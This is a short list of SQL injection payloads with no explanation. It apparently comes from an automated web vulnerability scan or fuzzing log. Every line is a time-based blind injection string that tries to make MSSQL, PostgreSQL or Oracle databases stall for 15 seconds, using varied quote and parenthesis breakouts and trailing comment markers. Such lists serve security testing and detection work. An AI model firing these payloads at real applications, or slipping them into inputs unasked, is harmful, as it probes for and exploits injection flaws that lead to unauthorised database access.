555-1 waitfor delay '0:0:15' --

555TttU1czw'; waitfor delay '0:0:15' --

555-1 OR 88=(SELECT 88 FROM PG_SLEEP(15))--

555-1) OR 212=(SELECT 212 FROM PG_SLEEP(15))--

555-1)) OR 763=(SELECT 763 FROM PG_SLEEP(15))--

555MFkkgpds' OR 154=(SELECT 154 FROM PG_SLEEP(15))--

555VvdqSSxQ') OR 156=(SELECT 156 FROM PG_SLEEP(15))--

555ZteJbyXt')) OR 728=(SELECT 728 FROM PG_SLEEP(15))--

555*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'